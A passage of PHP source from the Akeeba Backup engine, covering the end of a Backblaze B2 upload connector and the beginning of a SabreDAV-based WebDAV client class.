	 * @param   int     $partSize     Part size for multipart uploads, default 5M
	 * @param   string  $contentType  MIME content type of the uploaded file
	 *
	 * @return  FileInformation
	 */
	public function uploadFile($bucketId, $remoteFile, $localFile, $partSize = 5242880, $contentType = 'application/octet-stream')
	{
		if (!$this->getAccountInformation()->allowed->canWriteFiles())
		{
			throw new NotAllowed('Writing to files');
		}

		clearstatcache(false, $localFile);
		$fileSize = @filesize($localFile);

		$minPartSize = $this->getAccountInformation()->absoluteMinimumPartSize;

		if (($fileSize < $minPartSize) || ($partSize < $minPartSize))
		{
			return $this->uploadSingleFile($bucketId, $remoteFile, $localFile, $contentType);
		}

		/**
		 * Backblaze supports up to 10000 parts. We have to try increasing the part size until we're sure our  file
		 * will upload in a number of parts that's less than that.
		 */
		while ($fileSize / $partSize > 10000)
		{
			// Increase by 5M in each step
			$partSize += 5242880;
		}

		return $this->uploadLargeFile($bucketId, $remoteFile, $localFile, $partSize, $contentType);
	}

	/**
	 * Upload a file using a multipart upload.
	 *
	 * @param   string  $bucketId     The ID of the bucket. Use getBucketId.
	 * @param   string  $remoteFile   The path of the uploaded file in B2
	 * @param   string  $localFile    Path to the file to upload
	 * @param   int     $partSize     Part size for multipart uploads, default 5M
	 * @param   string  $contentType  MIME content type of the uploaded file
	 *
	 * @return  FileInformation
	 */
	public function uploadLargeFile($bucketId, $remoteFile, $localFile, $partSize = 5242880, $contentType = 'application/octet-stream')
	{
		if (!$this->getAccountInformation()->allowed->canWriteFiles())
		{
			throw new NotAllowed('Writing to files');
		}

		if (!$this->getAccountInformation()->allowed->isPrefixAllowed($remoteFile))
		{
			throw new NotAllowed("Accessing the $remoteFile file; the prefix (directory) is not allowed)");
		}

		$fileStartInfo = $this->startUpload($bucketId, $remoteFile, $contentType);
		$uploadUrl     = $this->getPartUploadUrl($fileStartInfo->fileId);
		$partNumber    = 0;
		$sha1Array     = [];

		while (true)
		{
			try
			{
				$partInfo    = $this->uploadPart($uploadUrl, $localFile, ++$partNumber, $partSize);
				$sha1Array[] = $partInfo->contentSha1;
			}
			catch (OutOfBoundsException $e)
			{
				// I am done uploading parts
				break;
			}
		}

		return $this->finishUpload($fileStartInfo->fileId, $sha1Array);
	}

	/**
	 * Upload a part of a large file.
	 *
	 * @param   UploadURL  $uploadUrl   The upload URL information returned by getPartUploadUrl
	 * @param   string     $localFile   The local file to read from. Must be readable.
	 * @param   int        $partNumber  The part number, 1 to 10,000.
	 * @param   int        $partSize    The part size in bytes.
	 *
	 * @return  FileInformation  Keep that in an array. You'll need to pass that to finishUpload.
	 */
	public function uploadPart(UploadURL $uploadUrl, $localFile, $partNumber, $partSize = 5242880)
	{
		if (!$this->getAccountInformation()->allowed->canWriteFiles())
		{
			throw new NotAllowed('Writing to files');
		}

		clearstatcache(false, $localFile);
		$filesize = filesize($localFile);


		// The offset to read from the file. Remember: part numbers start at 1, file offsets start at 0.
		$offset = ($partNumber - 1) * $partSize;

		// Sanity check: does this part even exist?
		if ($filesize <= $offset)
		{
			throw new OutOfBoundsException(sprintf("Cannot read part %d of file %s. The file only has %d bytes, requested offset is at %d bytes.", $partNumber, $localFile, $filesize, $offset));
		}

		// Read the part off the file and calculate the information required by Backblaze
		$fp = @fopen($localFile, 'r');

		if ($fp === false)
		{
			throw new RuntimeException(sprintf('Failed to multipart upload file %s to BackBlaze: cannot open file for reading', $localFile));
		}

		if (fseek($fp, $offset) == -1)
		{
			$this->conditionalFileClose($fp);

			throw new RuntimeException(sprintf('Failed to multipart upload file %s to BackBlaze: cannot seek to offset %d', $localFile, $offset));
		}

		$data = fread($fp, $partSize);

		if ($data === false)
		{
			$this->conditionalFileClose($fp);

			throw new RuntimeException(sprintf('Failed to multipart upload file %s to BackBlaze: cannot read from file at offset %d, data length %d', $localFile, $offset, $partSize));
		}

		$this->conditionalFileClose($fp);

		$sha1          = self::sha1($data);
		$contentLength = strlen($data);
		$additional    = [
			'headers' => [
				'Accept: application/json',
				sprintf('Content-Length: %s', $contentLength),
				sprintf('X-Bz-Part-Number: %d', $partNumber),
				sprintf('X-Bz-Content-Sha1: %s', $sha1),
				// WARNING: Uploads use a different authorization token than the API itself!
				sprintf('Authorization: %s', $uploadUrl->authorizationToken),
			],
		];

		$apiReturn = $this->fetch('POST', $uploadUrl->uploadUrl, '', $additional, $data);

		return new FileInformation($apiReturn);
	}

	/**
	 * Single part upload of a file to BackBlaze B2
	 *
	 * @param   string  $bucketId     The ID of the bucket to upload to. Use getBucketId to fetch it.
	 * @param   string  $remoteFile   The path of the file in the bucket.
	 * @param   string  $localFile    The path to the local file to upload.
	 * @param   string  $contentType  The MIME content type of the uploaded file.
	 *
	 * @return  FileInformation
	 */
	public function uploadSingleFile($bucketId, $remoteFile, $localFile, $contentType = 'application/octet-stream')
	{
		if (!$this->getAccountInformation()->allowed->canWriteFiles())
		{
			throw new NotAllowed('Writing to files');
		}

		if (!$this->getAccountInformation()->allowed->isPrefixAllowed($remoteFile))
		{
			throw new NotAllowed("Accessing the $remoteFile file; the prefix (directory) is not allowed)");
		}

		$uploadUrl = $this->getUploadUrl($bucketId);

		clearstatcache(false, $localFile);
		$sha1          = self::sha1_file($localFile);
		$contentLength = filesize($localFile);

		$additional = [
			'headers' => [
				'Accept: application/json',
				sprintf('X-Bz-File-Name: %s', $remoteFile),
				sprintf('Content-Type: %s', $contentType),
				sprintf('Content-Length: %s', $contentLength),
				sprintf('X-Bz-Content-Sha1: %s', $sha1),
				// WARNING: Uploads use a different authorization token than the API itself!
				sprintf('Authorization: %s', $uploadUrl->authorizationToken),
			],
			'file'    => $localFile,
		];

		$apiReturn = $this->fetch('POST', $uploadUrl->uploadUrl, '', $additional);

		return new FileInformation($apiReturn);
	}

	/**
	 * Uses the account ID and application key to retrieve a (temporary) authorization token which will be used in all
	 * subsequent operations. Furthermore, it will retrieve information regarding the account-specific API URLs, the
	 * account-specific download URLs and the supported part sizes. The information is retrieved as an immutable
	 * AccountInformation object which you can retrieve through getAccountInformation.
	 *
	 * If you have already run this and have an AccountInformation object you can use the applyAccountInformation
	 * method to re-initialize this object
	 *
	 * @return void
	 */
	protected function authorizeAccount()
	{
		$additional = [
			'headers' => [
				sprintf('Authorization: Basic %s', base64_encode($this->accountId . ':' . $this->applicationKey)),
				'Accept: application/json',
			],
		];

		$apiReturn = $this->fetch('GET', static::apiURL, 'b2_authorize_account', $additional);

		$this->accountInformation = new AccountInformation($apiReturn);
	}

	/**
	 * Execute an API call
	 *
	 * @param   string  $method        The HTTP method
	 * @param   string  $baseUrl       The base URL. Use one of self::rootUrl or self::contentRootUrl
	 * @param   string  $relativeUrl   The relative URL to ping
	 * @param   array   $additional    Additional parameters
	 * @param   mixed   $explicitPost  Passed explicitly to POST requests if set, otherwise $additional is passed.
	 *
	 * @return  array
	 * @throws  RuntimeException
	 *
	 */
	protected function fetch($method, $baseUrl, $relativeUrl, array $additional = [], $explicitPost = null)
	{
		// Get full URL, if required
		$url = $relativeUrl;

		if (substr($relativeUrl, 0, 6) != 'https:')
		{
			$url = $baseUrl . ltrim($relativeUrl, '/');
		}

		// Should I expect a specific header?
		$expectHttpStatus = [];

		if (isset($additional['expect-status']))
		{
			$expectHttpStatus = $additional['expect-status'];

			if (!is_array($expectHttpStatus))
			{
				$expectHttpStatus = [$expectHttpStatus];
			}

			unset($additional['expect-status']);
		}

		// Am I told to not parse the result?
		$noParse = false;

		if (isset($additional['no-parse']))
		{
			$noParse = $additional['no-parse'];
			unset ($additional['no-parse']);
		}

		// Am I told not to follow redirections?
		$followRedirect = true;

		if (isset($additional['follow-redirect']))
		{
			$followRedirect = $additional['follow-redirect'];
			unset ($additional['follow-redirect']);
		}

		// Initialise and execute a cURL request
		$ch = curl_init($url);

		$this->applyProxySettingsToCurl($ch);

		// Get the default options array
		$options = $this->defaultOptions;

		// Do I have explicit cURL options to add?
		if (isset($additional['curl-options']) && is_array($additional['curl-options']))
		{
			// We can't use array_merge since we have integer keys and array_merge reassigns them :(
			foreach ($additional['curl-options'] as $k => $v)
			{
				$options[$k] = $v;
			}
		}

		// Set up custom headers
		$headers                = [];
		$hasAuthorizationHeader = false;

		if (isset($additional['headers']))
		{
			$headers = $additional['headers'];
			unset ($additional['headers']);
		}

		// Add the authorization header, if it doesn't exist
		array_walk($headers, function ($header) use (&$hasAuthorizationHeader) {
			if (substr($header, 0, 15) == 'Authorization: ')
			{
				$hasAuthorizationHeader = true;
			}
		});

		if (!$hasAuthorizationHeader)
		{
			$headers[] = 'Authorization: ' . $this->getAccountInformation()->authorizationToken;
		}

		$options[CURLOPT_HTTPHEADER] = $headers;

		// Handle files
		$file     = null;
		$fp       = null;
		$fileMode = null;

		if (isset($additional['file']))
		{
			$file = $additional['file'];
			unset ($additional['file']);
		}

		if (isset($additional['file_mode']))
		{
			$fileMode = $additional['file_mode'];
			unset ($additional['file_mode']);
		}

		if (!isset($additional['fp']) && !empty($file))
		{
			if (is_null($fileMode))
			{
				$fileMode = ($method == 'GET') ? 'w' : 'r';
			}

			$fp = @fopen($file, $fileMode);
		}
		elseif (isset($additional['fp']))
		{
			$fp = $additional['fp'];
			unset($additional['fp']);
		}

		// Set up additional options
		if ($method == 'GET' && $fp)
		{
			$options[CURLOPT_RETURNTRANSFER] = false;
			$options[CURLOPT_HEADER]         = false;
			$options[CURLOPT_FILE]           = $fp;

			if (empty($expectHttpStatus))
			{
				$expectHttpStatus = [200, 206];
			}
		}
		elseif (in_array($method, ['POST', 'PUT']) && $fp)
		{
			$options[CURLOPT_PUT]   = true;
			$options[CURLOPT_CUSTOMREQUEST] = $method;
			$options[CURLOPT_INFILE]        = $fp;

			// Some broken cURL versions cause an error. Forcing HTTP/1.1 seems to be fixing it.
			if (defined('CURLOPT_HTTP_VERSION') && defined('CURL_HTTP_VERSION_1_1'))
			{
				$options[CURLOPT_HTTP_VERSION] = CURL_HTTP_VERSION_1_1;
			}

			if ($file)
			{
				clearstatcache();
				$options[CURLOPT_INFILESIZE] = @filesize($file);
			}
			else
			{
				$options[CURLOPT_INFILESIZE] = strlen(stream_get_contents($fp));
			}

			fseek($fp, 0);
		}
		elseif ($method == 'POST')
		{
			$options[CURLOPT_POST] = true;

			if ($explicitPost)
			{
				$options[CURLOPT_POSTFIELDS] = $explicitPost;
			}
			elseif (!empty($additional))
			{
				$options[CURLOPT_POSTFIELDS] = $additional;
			}
			// This is required for some broken servers, e.g. SiteGround
			else
			{
				$options[CURLOPT_POSTFIELDS] = '';
			}
		}
		else // Any other HTTP method, e.g. DELETE
		{
			$options[CURLOPT_CUSTOMREQUEST] = $method;

			if ($explicitPost)
			{
				$options[CURLOPT_POSTFIELDS] = $explicitPost;
			}
			elseif (!empty($additional))
			{
				$options[CURLOPT_POSTFIELDS] = $additional;
			}
		}

		// Set the cURL options at once
		@curl_setopt_array($ch, $options);

		// Set the follow location flag
		if ($followRedirect)
		{
			@curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		}

		// Execute and parse the response
		$response     = curl_exec($ch);
		$errNo        = curl_errno($ch);
		$error        = curl_error($ch);
		$lastHttpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);

		if (version_compare(PHP_VERSION, '8.5.0', 'lt'))
		{
			curl_close($ch);
		}

		// Close open file pointers
		$hadFile = false;

		if ($fp)
		{
			$hadFile = true;

			$this->conditionalFileClose($fp);
		}

		// Did we have a cURL error?
		if ($errNo)
		{
			throw new cURLError($errNo, $error);
		}

		// Close open file pointers
		if ($hadFile && !empty($expectHttpStatus) && !in_array($lastHttpCode, $expectHttpStatus))
		{
			if ($file && ($method == 'GET'))
			{
				@unlink($file);
			}

			throw new UnexpectedHTTPStatus($lastHttpCode);
		}

		if (!empty($expectHttpStatus) && in_array($lastHttpCode, $expectHttpStatus))
		{
			return [];
		}

		if ($noParse)
		{
			return $response;
		}

		// Parse the response
		$originalResponse = $response;
		$response         = json_decode($response, true);

		// Did we get invalid JSON data?
		if (!$response)
		{
			throw new InvalidJSON("Invalid JSON Data: $originalResponse");
		}

		unset($originalResponse);

		if (!empty($response) && ($lastHttpCode != 200))
		{
			$response = ['error' => $response];
		}

		// Did we get an error response?
		if (isset($response['error']) && is_array($response['error']))
		{
			$decodedError    = $response['error'];
			$actualException = new APIError($decodedError['code'], $decodedError['message'], 500);

			/**
			 * BackBlaze's blog post (see below) states that we need to retry getting an upload URL upon HTTP error 500
			 * or 503. However, the reality is different. We get an HTTP 200 with an error document that contains the
			 * error code literal 'service_unavailable'. In this case we'd simply throw an APIError exception and stop
			 * the upload attempt. In an effort to keep the error handling code simple (since PHP doesn't allow catching
			 * two disparate exception types in a single catch) we will simulate an HTTP exception here, attaching the
			 * actual APIException as its previous exception to facilitate troubleshooting. The UnexpectedHTTPStatus
			 * exception bubbles up to Akeeba\Engine\Postproc\Backblaze where it's intercepted, allowing us to ask for a
			 * new upload URL and continue the upload.
			 *
			 * @see https://www.backblaze.com/blog/b2-503-500-server-error/
			 * @see https://www.akeeba.com/support/32973
			 */
			if ($decodedError['code'] == 'service_unavailable')
			{
				throw new UnexpectedHTTPStatus('503 (Simulated – received API error code ‘service_unavailable’ per parent exception)', 503, $actualException);
			}

			throw $actualException;
		}

		return $response;
	}

	/**
	 * Return the API URL for all operations except file downloads. It includes the all important trailing slash which
	 * fetch() expects to be present.
	 *
	 * @return  string
	 */
	protected function getApiUrl()
	{
		$apiUrl = $this->getAccountInformation()->apiUrl;
		$apiUrl = rtrim($apiUrl, '/');

		return $apiUrl . '/';
	}

	/**
	 * Return the API URL for file download operations only. It includes the all important trailing slash which fetch()
	 * expects to be present.
	 *
	 * @return  string
	 */
	protected function getDownloadUrl()
	{
		$downloadUrl = $this->getAccountInformation()->downloadUrl;
		$downloadUrl = rtrim($downloadUrl, '/');

		return $downloadUrl . '/';
	}
}
PK     \<!I  I  <  vendor/akeeba/engine/engine/Postproc/Connector/Davclient.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

/**
 * SabreDAV DAV client
 *
 * This client wraps around Curl to provide a convenient API to a WebDAV
 * server.
 *
 * NOTE: This class is experimental, its api will likely change in the future.
 *
 * @copyright Copyright (C) 2007-2016 fruux GmbH (https://fruux.com/).
 * @author    Evert Pot (http://evertpot.com/)
 * @license   http://code.google.com/p/sabredav/wiki/License Modified BSD License
 *
 * Modified by Akeeba Ltd for use in Akeeba Backup in accordance with the aforementioned
 * license of the original source code. Original source code can be found at https://github.com/fruux/sabre-dav.
 */

namespace Akeeba\Engine\Postproc\Connector;

defined('AKEEBAENGINE') || die();

use Akeeba\Engine\Factory;
use Akeeba\Engine\Postproc\Connector\Davclient\Xml;
use Akeeba\Engine\Postproc\ProxyAware;
use Exception;
use InvalidArgumentException;

class Davclient
{
	use ProxyAware;

	/**
	 * Basic authentication
	 */
	public const AUTH_BASIC = 1;

	/**
	 * Digest authentication
	 */
	public const AUTH_DIGEST = 2;

	/**
	 * The propertyMap is a key-value array.
	 *
	 * If you use the propertyMap, any {DAV:}multistatus responses with the
	 * proeprties listed in this array, will automatically be mapped to a
	 * respective class.
	 *
	 * The {DAV:}resourcetype property is automatically added. This maps to
	 * Sabre\DAV\Property\ResourceType
	 *
	 * @var array
	 */
	public $propertyMap = [];

	protected $headers = '';

	protected $baseUri;

	protected $userName;

	protected $password;

	protected $proxy;

	protected $trustedCertificates;

	/**
	 * The authentication type we're using.
	 *
	 * This is a bitmask of AUTH_BASIC and AUTH_DIGEST.
	 *
	 * If DIGEST is used, the client makes 1 extra request per request, to get
	 * the authentication tokens.
	 *
	 * @var int
	 */
	protected $authType;

	/**
	 * Indicates if SSL verification is enabled or not.
	 *
	 * @var boolean
	 */
	protected $verifyPeer;

	/**
	 * Constructor
	 *
	 * Settings are provided through the 'settings' argument. The following
	 * settings are supported:
	 *
	 *   * baseUri
	 *   * userName (optional)
	 *   * password (optional)
	 *   * proxy (optional)
	 *
	 * @param   array  $settings
	 *
	 * @throws InvalidArgumentException
	 */
	public function __construct(array $settings)
	{

		if (!isset($settings['baseUri']))
		{
			throw new InvalidArgumentException('A baseUri must be provided');
		}

		$validSettings = [
			'baseUri',
			'userName',
			'password',
			'proxy',
		];

		foreach ($validSettings as $validSetting)
		{
			if (isset($settings[$validSetting]))
			{
				$this->$validSetting = $settings[$validSetting];
			}
		}

		if (isset($settings['authType']))
		{
			$this->authType = $settings['authType'];
		}
		else
		{
			$this->authType = self::AUTH_BASIC | self::AUTH_DIGEST;
		}

		// We just need this class to unserialize a node collection. However in our case we really don't need it
		// since we are just checking if exists or not, we don't have to iterate on it, so we can use a (very)
		// simplified method just to avoid PHP warnings
		$this->propertyMap['{DAV:}resourcetype'] = Xml::class;
	}

	/**
	 * Add trusted root certificates to the webdav client.
	 *
	 * The parameter certificates should be a absolute path to a file
	 * which contains all trusted certificates
	 *
	 * @param   string  $certificates
	 */
	public function addTrustedCertificates($certificates)
	{
		$this->trustedCertificates = $certificates;
	}

	/**
	 * Enables/disables SSL peer verification
	 *
	 * @param   boolean  $value
	 */
	public function setVerifyPeer($value)
	{
		$this->verifyPeer = $value;
	}

	/**
	 * Does a PROPFIND request
	 *
	 * The list of requested properties must be specified as an array, in clark
	 * notation.
	 *
	 * The returned array will contain a list of filenames as keys, and
	 * properties as values.
	 *
	 * The properties array will contain the list of properties. Only properties
	 * that are actually returned from the server (without error) will be
	 * returned, anything else is discarded.
	 *
	 * Depth should be either 0 or 1. A depth of 1 will cause a request to be
	 * made to the server to also return all child resources.
	 *
	 * @param   string  $url
	 * @param   array   $properties
	 * @param   int     $depth
	 *
	 * @return array
	 */
	public function propFind($url, array $properties, $depth = 0)
	{

		$body = '<?xml version="1.0"?>' . "\n";
		$body .= '<d:propfind xmlns:d="DAV:">' . "\n";
		$body .= '  <d:prop>' . "\n";

		foreach ($properties as $property)
		{
			[$namespace, $elementName] = Xml::parseClarkNotation($property);

			if ($namespace === 'DAV:')
			{
				$body .= '    <d:' . $elementName . ' />' . "\n";
			}
			else
			{
				$body .= "    <x:" . $elementName . " xmlns:x=\"" . $namespace . "\"/>\n";
			}
		}

		$body .= '  </d:prop>' . "\n";
		$body .= '</d:propfind>';

		$response = $this->request('PROPFIND', $url, $body, [
			'Depth'        => $depth,
			'Content-Type' => 'application/xml',
		]);

		$result = $this->parseMultiStatus($response['body']);

		// If depth was 0, we only return the top item
		if ($depth === 0)
		{
			reset($result);
			$result = current($result);

			return $result[200] ?? [];
		}

		$newResult = [];

		foreach ($result as $href => $statusList)
		{
			$newResult[$href] = $statusList[200] ?? [];
		}

		return $newResult;
	}

	/**
	 * Updates a list of properties on the server
	 *
	 * The list of properties must have clark-notation properties for the keys,
	 * and the actual (string) value for the value. If the value is null, an
	 * attempt is made to delete the property.
	 *
	 * @param   string  $url
	 * @param   array   $properties
	 *
	 * @return void
	 */
	public function propPatch($url, array $properties)
	{
		$body = '<?xml version="1.0"?>' . "\n";
		$body .= '<d:propertyupdate xmlns:d="DAV:">' . "\n";

		foreach ($properties as $propName => $propValue)
		{
			[$namespace, $elementName] = Xml::parseClarkNotation($propName);

			if ($propValue === null)
			{
				$body .= "<d:remove><d:prop>\n";

				if ($namespace === 'DAV:')
				{
					$body .= '    <d:' . $elementName . ' />' . "\n";
				}
				else
				{
					$body .= "    <x:" . $elementName . " xmlns:x=\"" . $namespace . "\"/>\n";
				}

				$body .= "</d:prop></d:remove>\n";
			}
			else
			{
				$body .= "<d:set><d:prop>\n";

				if ($namespace === 'DAV:')
				{
					$body .= '    <d:' . $elementName . '>';
				}
				else
				{
					$body .= "    <x:" . $elementName . " xmlns:x=\"" . $namespace . "\">";
				}

				// I know
				$body .= htmlspecialchars($propValue, ENT_NOQUOTES, 'UTF-8');

				if ($namespace === 'DAV:')
				{
					$body .= '</d:' . $elementName . '>' . "\n";
				}
				else
				{
					$body .= "</x:" . $elementName . ">\n";
				}

				$body .= "</d:prop></d:set>\n";
			}
		}

		$body .= '</d:propertyupdate>';

		$this->request('PROPPATCH', $url, $body, [
			'Content-Type' => 'application/xml',
		]);
	}

	/**
	 * Performs an HTTP options request
	 *
	 * This method returns all the features from the 'DAV:' header as an array.
	 * If there was no DAV header, or no contents this method will return an
	 * empty array.
	 *
	 * @return array
	 */
	public function options()
	{
		$result = $this->request('OPTIONS');

		if (!isset($result['headers']['dav']))
		{
			return [];
		}

		$features = explode(',', $result['headers']['dav']);

		foreach ($features as &$v)
		{
			$v = trim($v);
		}

		return $features;
	}

	/**
	 * Performs an actual HTTP request, and returns the result.
	 *
	 * If the specified url is relative, it will be expanded based on the base
	 * url.
	 *
	 * The returned array contains 3 keys:
	 *   * body - the response body
	 *   * httpCode - a HTTP code (200, 404, etc)
	 *   * headers - a list of response http headers. The header names have
	 *     been lowercased.
	 *
	 * @param   string  $method
	 * @param   string  $url
	 * @param   string  $body
	 * @param   array   $headers
	 *
	 * @return array
	 * @throws Exception
	 *
	 */
	public function request($method, $url = '', $body = null, $headers = [])
	{
		$this->headers = '';

		Factory::getLog()->debug("Remote relative WebDav URL: " . $url);

		$url = $this->getAbsoluteUrl($url);

		// WebDAV requires spaces (AND SPACES ONLY!) to be encoded
		$url = str_replace(' ', '%20', $url);

		Factory::getLog()->debug("Absolute WebDav URL: " . $url);

		$curlSettings = [
			CURLOPT_RETURNTRANSFER => true,
			// I can't get the headers in the response, since it would corrupt my downloads
			CURLOPT_HEADER         => false,
			CURLOPT_HEADERFUNCTION => [$this, 'storeHeaders'],
			CURLOPT_POSTFIELDS     => $body,
			// Automatically follow redirects
			CURLOPT_FOLLOWLOCATION => true,
			CURLOPT_MAXREDIRS      => 5,
			CURLOPT_CAINFO         => AKEEBA_CACERT_PEM,
		];

		if ($this->verifyPeer !== null)
		{
			$curlSettings[CURLOPT_SSL_VERIFYPEER] = $this->verifyPeer;
		}

		if ($this->trustedCertificates)
		{
			$curlSettings[CURLOPT_CAINFO] = $this->trustedCertificates;
		}

		switch ($method)
		{
			case 'HEAD' :

				// do not read body with HEAD requests (this is necessary because cURL does not ignore the body with HEAD
				// requests when the Content-Length header is given - which in turn is perfectly valid according to HTTP
				// specs...) cURL does unfortunately return an error in this case ("transfer closed transfer closed with
				// ... bytes remaining to read") this can be circumvented by explicitly telling cURL to ignore the
				// response body
				$curlSettings[CURLOPT_NOBODY]        = true;
				$curlSettings[CURLOPT_CUSTOMREQUEST] = 'HEAD';
				break;
			case 'GET':
				$curlSettings[CURLOPT_CUSTOMREQUEST] = 'GET';

				if (is_resource($body))
				{
					$curlSettings[CURLOPT_FILE] = $body;

					unset($curlSettings[CURLOPT_POSTFIELDS]);
				}

				break;
			case 'PUT':
				// ATTENTION!!! If you want to upload a file, you have to directly supply the file content inside the request body.
				// This is necessary because if we hit a redirect, cURL will screw up since he can't automatically rewind
				// a file pointer resource, but he can do that with a string.
				$curlSettings[CURLOPT_CUSTOMREQUEST] = $method;

				// Some broken cURL versions cause an error. Forcing HTTP/1.1 seems to be fixing it.
				if (defined('CURLOPT_HTTP_VERSION') && defined('CURL_HTTP_VERSION_1_1'))
				{
					$curlSettings[CURLOPT_HTTP_VERSION] = CURL_HTTP_VERSION_1_1;
				}
				break;
			default:
				$curlSettings[CURLOPT_CUSTOMREQUEST] = $method;
				break;
		}

		// Adding HTTP headers
		// OwnCloud needs the the Content-Type header to be set
		$nHeaders = ['Content-Type: application/octet-stream'];

		foreach ($headers as $key => $value)
		{
			$nHeaders[] = $key . ': ' . $value;
		}

		$curlSettings[CURLOPT_HTTPHEADER] = $nHeaders;

		if ($this->proxy)
		{
			$curlSettings[CURLOPT_PROXY] = $this->proxy;
		}

		if ($this->userName && $this->authType)
		{
			$curlType = 0;

			if ($this->authType & self::AUTH_BASIC)
			{
				$curlType |= CURLAUTH_BASIC;
			}

			if ($this->authType & self::AUTH_DIGEST)
			{
				$curlType |= CURLAUTH_DIGEST;
			}

			$curlSettings[CURLOPT_HTTPAUTH] = $curlType;
			$curlSettings[CURLOPT_USERPWD]  = $this->userName . ':' . $this->password;
		}

		[$response, $curlInfo, $curlErrNo, $curlError] = $this->curlRequest($url, $curlSettings);

		$this->parseHeaders();

		$response = [
			'body'       => $response,
			'statusCode' => $curlInfo['http_code'],
			'headers'    => $this->headers,
		];

		if ($curlErrNo)
		{
			throw new Exception('[CURL] Error while making request: ' . $curlError . ' (error code: ' . $curlErrNo . ')');
		}

		if ($response['statusCode'] >= 400)
		{
			switch ($response['statusCode'])
			{
				case 400 :
					throw new Exception('Bad request', 400);
				case 401 :
					throw new Exception('Not authenticated', 401);
				case 402 :
					throw new Exception('Payment required', 402);
				case 403 :
					throw new Exception('Forbidden', 403);
				case 404:
					throw new Exception('Resource not found.', 404);
				case 405 :
					throw new Exception('Method not allowed', 405);
				case 409 :
					throw new Exception('Conflict', 409);
				case 412 :
					throw new Exception('Precondition failed', 412);
				case 413 :
					throw new Exception('Request Entity Too Large', 413);
				case 416 :
					throw new Exception('Requested Range Not Satisfiable', 416);
				case 500 :
					throw new Exception('Internal server error', 500);
				case 501 :
					throw new Exception('Not Implemented', 501);
				case 507 :
					throw new Exception('Insufficient storage', 507);
				default:
					throw new Exception('HTTP error response. (errorcode ' . $response['statusCode'] . ')');
			}
		}

		return $response;
	}

	/**
	 * Parses a WebDAV multistatus response body
	 *
	 * This method returns an array with the following structure
	 *
	 * array(
	 *   'url/to/resource' => array(
	 *     '200' => array(
	 *        '{DAV:}property1' => 'value1',
	 *        '{DAV:}property2' => 'value2',
	 *     ),
	 *     '404' => array(
	 *        '{DAV:}property1' => null,
	 *        '{DAV:}property2' => null,
	 *     ),
	 *   )
	 *   'url/to/resource2' => array(
	 *      .. etc ..
	 *   )
	 * )
	 *
	 *
	 * @param   string  $body  xml body
	 *
	 * @return  array
	 * @throws  InvalidArgumentException
	 *
	 */
	public function parseMultiStatus($body)
	{

		$body = Xml::convertDAVNamespace($body);

		$responseXML = simplexml_load_string($body, null, LIBXML_NOBLANKS | LIBXML_NOCDATA);

		if ($responseXML === false)
		{
			throw new InvalidArgumentException('The passed data is not valid XML');
		}

		$responseXML->registerXPathNamespace('d', 'urn:DAV');

		$propResult = [];

		foreach ($responseXML->xpath('d:response') as $response)
		{
			$response->registerXPathNamespace('d', 'urn:DAV');
			$href = $response->xpath('d:href');
			$href = (string) $href[0];

			$properties = [];

			foreach ($response->xpath('d:propstat') as $propStat)
			{

				$propStat->registerXPathNamespace('d', 'urn:DAV');
				$status = $propStat->xpath('d:status');
				[$httpVersion, $statusCode, $message] = explode(' ', (string) $status[0], 3);

				// Only using the propertymap for results with status 200.
				$propertyMap = $statusCode === '200' ? $this->propertyMap : [];

				$properties[$statusCode] = Xml::parseProperties(dom_import_simplexml($propStat), $propertyMap);
			}

			$propResult[$href] = $properties;
		}

		return $propResult;
	}

	/**
	 * Callback function used to collect all the headers.
	 * Headers are important since it's the only way to detected
	 * failures, but we can't add them to the response body since this would corrupt downloaded files (and doing a
	 * substr on a potentially 100Mb file is not efficient)
	 *
	 * @param   resource  $ch          Pointer to a cURL resource
	 * @param   string    $ch_headers  Header
	 *
	 * @return  int         Length of the header
	 */
	protected function storeHeaders($ch, $ch_headers)
	{
		$this->headers .= $ch_headers;

		return strlen($ch_headers);
	}

	/**
	 * Parses the stored headers and updates the internal member with the last one for error detection
	 *
	 * @return void
	 */
	protected function parseHeaders()
	{
		// In the case of 100 Continue, or redirects we'll have multiple lists
		// of headers for each separate HTTP response. We can easily split this
		// because they are separated by \r\n\r\n
		$headerBlob = explode("\r\n\r\n", trim($this->headers, "\r\n"));

		// We only care about the last set of headers
		$headerBlob = $headerBlob[count($headerBlob) - 1];

		// Splitting headers
		$headerBlob = explode("\r\n", $headerBlob);

		$headers = [];
		foreach ($headerBlob as $header)
		{
			$parts = explode(':', $header, 2);

			if (count($parts) == 2)
			{
				$name  = strtolower(trim($parts[0]));
				$value = trim($parts[1]);

				// A header may legitimately appear more than once (e.g. Apache mod_dav sends several `DAV:` headers).
				// Per RFC 7230 §3.2.2 that is equivalent to a single comma-folded header, so we join repeats rather than
				// letting the last occurrence overwrite the earlier ones — otherwise options() would lose DAV classes.
				$headers[$name] = isset($headers[$name]) ? $headers[$name] . ', ' . $value : $value;
			}
		}

		$this->headers = $headers;
	}

	/**
	 * Wrapper for all curl functions.
	 *
	 * The only reason this was split out in a separate method, is so it
	 * becomes easier to unittest.
	 *
	 * @param   string  $url
	 * @param   array   $settings
	 *
	 * @return  array
	 */
	protected function curlRequest($url, $settings)
	{
		$curl = curl_init($url);

		$this->applyProxySettingsToCurl($curl);

		$followLocation = false;
		$maxRedirs      = 5;

		if (isset($settings[CURLOPT_FOLLOWLOCATION]))
		{
			$followLocation = $settings[CURLOPT_FOLLOWLOCATION];
			unset($settings[CURLOPT_FOLLOWLOCATION]);
		}

		if (isset($settings[CURLOPT_MAXREDIRS]))
		{
			$maxRedirs = $settings[CURLOPT_MAXREDIRS];
			unset($settings[CURLOPT_MAXREDIRS]);
		}

		curl_setopt_array($curl, $settings);

		if ($followLocation)
		{
			@curl_setopt($curl, CURLOPT_FOLLOWLOCATION, 1);
			@curl_setopt($curl, CURLOPT_MAXREDIRS, $maxRedirs);
		}

		return [
